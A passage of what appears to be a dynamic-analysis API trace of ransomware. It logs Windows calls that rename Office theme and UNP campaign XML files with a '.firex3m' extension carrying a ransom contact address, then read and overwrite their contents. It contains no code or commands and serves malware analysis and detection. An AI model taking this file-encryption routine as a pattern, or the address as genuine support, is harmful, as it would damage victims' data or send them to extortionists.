ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b7bb91, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x426ded00, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x587, dwReserved0=0x393fd20, dwReserved1=0x7276e28, cFileName="PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PREVIE~1.FIR")) returned 0x6d5540 [0208.844] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0208.844] Sleep (dwMilliseconds=0x1) [0210.697] SysReAllocStringLen (in: pbstr=0x393ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SONORA\\SONORA.INF", len=0x6c | out: pbstr=0x393ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SONORA\\SONORA.INF") returned 1 [0210.697] GetProcessHeap () returned 0x630000 [0210.697] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe4288, Size=0x4e00) returned 0x6fe4288 [0210.697] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SONORA\\SONORA.INF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\sonora\\sonora.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6ec [0210.698] CloseHandle (hObject=0x6ec) returned 1 [0210.698] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x393ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0210.698] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SONORA\\SONORA.INF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\sonora\\sonora.inf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SONORA\\SONORA.INF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\sonora\\sonora.inf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0210.699] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x393ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0210.699] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SONORA\\SONORA.INF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x393fc6c | out: lpFindFileData=0x393fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c3a755, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c3a755, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c3a755, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1e4, dwReserved0=0xff00b748, dwReserved1=0x74006e, cFileName="SONORA.INF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SONORA~1.FIR")) returned 0x6d4e40 [0210.699] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0210.699] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SONORA\\SONORA.INF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\sonora\\sonora.inf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6ec [0210.699] GetProcessHeap () returned 0x630000 [0210.699] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x201) returned 0x6d2558 [0210.700] GetProcessHeap () returned 0x630000 [0210.700] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x201) returned 0x6d0500 [0210.700] SetFilePointerEx (in: hFile=0x6ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.700] ReadFile (in: hFile=0x6ec, lpBuffer=0x6d2558, nNumberOfBytesToRead=0x1e0, lpNumberOfBytesRead=0x393ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d2558*, lpNumberOfBytesRead=0x393ff0c*=0x1e0, lpOverlapped=0x0) returned 1 [0210.702] GetProcessHeap () returned 0x630000 [0210.702] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317b80 [0210.702] SetFilePointerEx (in: hFile=0x6ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.702] WriteFile (in: hFile=0x6ec, lpBuffer=0x6d0500*, nNumberOfBytesToWrite=0x1e0, lpNumberOfBytesWritten=0x393ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d0500*, lpNumberOfBytesWritten=0x393ff0c*=0x1e0, lpOverlapped=0x0) returned 1 [0210.702] SetFilePointerEx (in: hFile=0x6ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.703] WriteFile (in: hFile=0x6ec, lpBuffer=0x6d06df*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x393ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d06df*, lpNumberOfBytesWritten=0x393ff0c*=0x20, lpOverlapped=0x0) returned 1 [0210.703] SetFilePointerEx (in: hFile=0x6ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.704] WriteFile (in: hFile=0x6ec, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x393ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x393ff0c*=0x4, lpOverlapped=0x0) returned 1 [0210.704] CloseHandle (hObject=0x6ec) returned 1 [0210.704] GetProcessHeap () returned 0x630000 [0210.704] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6d0500 | out: hHeap=0x630000) returned 1 [0210.704] GetProcessHeap () returned 0x630000 [0210.704] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6d2558 | out: hHeap=0x630000) returned 1 [0210.704] GetProcessHeap () returned 0x630000 [0210.704] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317b80 | out: hHeap=0x630000) returned 1 [0210.704] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x393ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0210.704] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SONORA\\SONORA.INF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x393fcc4 | out: lpFindFileData=0x393fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c3a755, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c3a755, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4389a4ef, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x208, dwReserved0=0x393fd20, dwReserved1=0x6d2558, cFileName="SONORA.INF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SONORA~1.FIR")) returned 0x6d5000 [0210.704] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0210.704] Sleep (dwMilliseconds=0x1) [0210.712] SysReAllocStringLen (in: pbstr=0x393ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SONORA\\SONORA.ELM", len=0x6c | out: pbstr=0x393ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SONORA\\SONORA.ELM") returned 1 [0210.712] GetProcessHeap () returned 0x630000 [0210.712] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe4288, Size=0x4dfc) returned 0x6fe4288 [0210.712] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SONORA\\SONORA.ELM" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\sonora\\sonora.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6ec [0210.713] CloseHandle (hObject=0x6ec) returned 1 [0210.713] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x393ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0210.713] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SONORA\\SONORA.ELM" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\sonora\\sonora.elm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SONORA\\SONORA.ELM.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\sonora\\sonora.elm.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0210.714] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x393ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0210.714] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SONORA\\SONORA.ELM.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x393fc6c | out: lpFindFileData=0x393fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c3a755, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c3a755, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c3a755, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd59f, dwReserved0=0xff00b748, dwReserved1=0x74006e, cFileName="SONORA.ELM.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SONORA~2.FIR")) returned 0x6d5480 [0210.714] FindClose (in: hFindFile=0x6d5480 | out: hFindFile=0x6d5480) returned 1 [0210.714] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SONORA\\SONORA.ELM.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\sonora\\sonora.elm.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6ec [0210.714] GetProcessHeap () returned 0x630000 [0210.714] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x73b26d0 [0210.714] GetProcessHeap () returned 0x630000 [0210.714] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x73bdb00 [0210.715] SetFilePointerEx (in: hFile=0x6ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.715] ReadFile (in: hFile=0x6ec, lpBuffer=0x73b26d0, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x393ff0c, lpOverlapped=0x0 | out: lpBuffer=0x73b26d0*, lpNumberOfBytesRead=0x393ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0217.768] GetProcessHeap () returned 0x630000 [0217.768] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318670 [0217.768] SetFilePointerEx (in: hFile=0x6ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.769] WriteFile (in: hFile=0x6ec, lpBuffer=0x73bdb00*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x393ff0c, lpOverlapped=0x0 | out: lpBuffer=0x73bdb00*, lpNumberOfBytesWritten=0x393ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0217.769] SetFilePointerEx (in: hFile=0x6ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.769] WriteFile (in: hFile=0x6ec, lpBuffer=0x73c8eff*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x393ff0c, lpOverlapped=0x0 | out: lpBuffer=0x73c8eff*, lpNumberOfBytesWritten=0x393ff0c*=0x20, lpOverlapped=0x0) returned 1 [0217.769] SetFilePointerEx (in: hFile=0x6ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.769] WriteFile (in: hFile=0x6ec, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x393ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x393ff0c*=0x4, lpOverlapped=0x0) returned 1 [0217.769] CloseHandle (hObject=0x6ec) returned 1 [0217.769] GetProcessHeap () returned 0x630000 [0217.769] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73bdb00 | out: hHeap=0x630000) returned 1 [0217.769] GetProcessHeap () returned 0x630000 [0217.770] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73b26d0 | out: hHeap=0x630000) returned 1 [0217.770] GetProcessHeap () returned 0x630000 [0217.770] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318670 | out: hHeap=0x630000) returned 1 [0217.770] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x393ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0217.770] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SONORA\\SONORA.ELM.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x393fcc4 | out: lpFindFileData=0x393fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c3a755, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c3a755, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x47bf48ef, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xd5c3, dwReserved0=0xcbc7496, dwReserved1=0x73b26c8, cFileName="SONORA.ELM.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SONORA~2.FIR")) returned 0x6d4e40 [0217.770] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0217.770] Sleep (dwMilliseconds=0x1) [0219.346] SysReAllocStringLen (in: pbstr=0x393ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\gl-ES\\toastbeginupgradeth2.xml", len=0x7d | out: pbstr=0x393ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\gl-ES\\toastbeginupgradeth2.xml") returned 1 [0219.346] GetProcessHeap () returned 0x630000 [0219.346] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x50d8) returned 0x6fe3bb0 [0219.346] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\gl-ES\\toastbeginupgradeth2.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\gl-es\\toastbeginupgradeth2.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6cc [0219.347] CloseHandle (hObject=0x6cc) returned 1 [0219.347] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x393ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0219.347] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\gl-ES\\toastbeginupgradeth2.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\gl-es\\toastbeginupgradeth2.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\gl-ES\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\gl-es\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0219.348] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x393ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0219.348] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\gl-ES\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x393fc6c | out: lpFindFileData=0x393fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f315afa, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f315afa, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x1a3, dwReserved0=0x2e006c, dwReserved1=0x640069, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d5440 [0219.348] FindClose (in: hFindFile=0x6d5440 | out: hFindFile=0x6d5440) returned 1 [0219.349] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\gl-ES\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\gl-es\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6cc [0219.349] GetProcessHeap () returned 0x630000 [0219.349] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c1) returned 0x74aaba0 [0219.349] GetProcessHeap () returned 0x630000 [0219.349] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c1) returned 0x74a9eb8 [0219.349] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.349] ReadFile (in: hFile=0x6cc, lpBuffer=0x74aaba0, nNumberOfBytesToRead=0x1a0, lpNumberOfBytesRead=0x393ff0c, lpOverlapped=0x0 | out: lpBuffer=0x74aaba0*, lpNumberOfBytesRead=0x393ff0c*=0x1a0, lpOverlapped=0x0) returned 1 [0221.027] GetProcessHeap () returned 0x630000 [0221.027] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73174f0 [0221.027] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.027] WriteFile (in: hFile=0x6cc, lpBuffer=0x74a9eb8*, nNumberOfBytesToWrite=0x1a0, lpNumberOfBytesWritten=0x393ff0c, lpOverlapped=0x0 | out: lpBuffer=0x74a9eb8*, lpNumberOfBytesWritten=0x393ff0c*=0x1a0, lpOverlapped=0x0) returned 1 [0221.028] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.028] WriteFile (in: hFile=0x6cc, lpBuffer=0x74aa057*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x393ff0c, lpOverlapped=0x0 | out: lpBuffer=0x74aa057*, lpNumberOfBytesWritten=0x393ff0c*=0x20, lpOverlapped=0x0) returned 1 [0221.028] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.028] WriteFile (in: hFile=0x6cc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x393ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x393ff0c*=0x4, lpOverlapped=0x0) returned 1 [0221.028] CloseHandle (hObject=0x6cc) returned 1 [0221.028] GetProcessHeap () returned 0x630000 [0221.028] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x74a9eb8 | out: hHeap=0x630000) returned 1 [0221.028] GetProcessHeap () returned 0x630000 [0221.028] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x74aaba0 | out: hHeap=0x630000) returned 1 [0221.028] GetProcessHeap () returned 0x630000 [0221.028] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73174f0 | out: hHeap=0x630000) returned 1 [0221.028] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x393ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0221.028] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\gl-ES\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x393fcc4 | out: lpFindFileData=0x393fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f315afa, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f315afa, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x49b1b63f, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1c7, dwReserved0=0x393fd20, dwReserved1=0x74aaba0, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d5200 [0221.029] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0221.029] Sleep (dwMilliseconds=0x1) [0222.494] SysReAllocStringLen (in: pbstr=0x393ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sl-SI\\toastbeginupgrade.xml", len=0x7a | out: pbstr=0x393ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sl-SI\\toastbeginupgrade.xml") returned 1 [0222.494] GetProcessHeap () returned 0x630000 [0222.494] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5184) returned 0x6fe3bb0 [0222.495] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sl-SI\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\sl-si\\toastbeginupgrade.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0225.770] CloseHandle (hObject=0x4f0) returned 1 [0225.770] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x393ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0225.770] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sl-SI\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\sl-si\\toastbeginupgrade.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sl-SI\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\sl-si\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0225.942] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x393ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0225.943] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sl-SI\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x393fc6c | out: lpFindFileData=0x393fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9267e657, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x9267e657, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x66d5ac00, ftLastWriteTime.dwHighDateTime=0x1d2a223, nFileSizeHigh=0x0, nFileSizeLow=0x25d, dwReserved0=0x2d0064, dwReserved1=0x390031, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d5500 [0225.943] FindClose (in: hFindFile=0x6d5500 | out: hFindFile=0x6d5500) returned 1 [0225.943] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sl-SI\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program 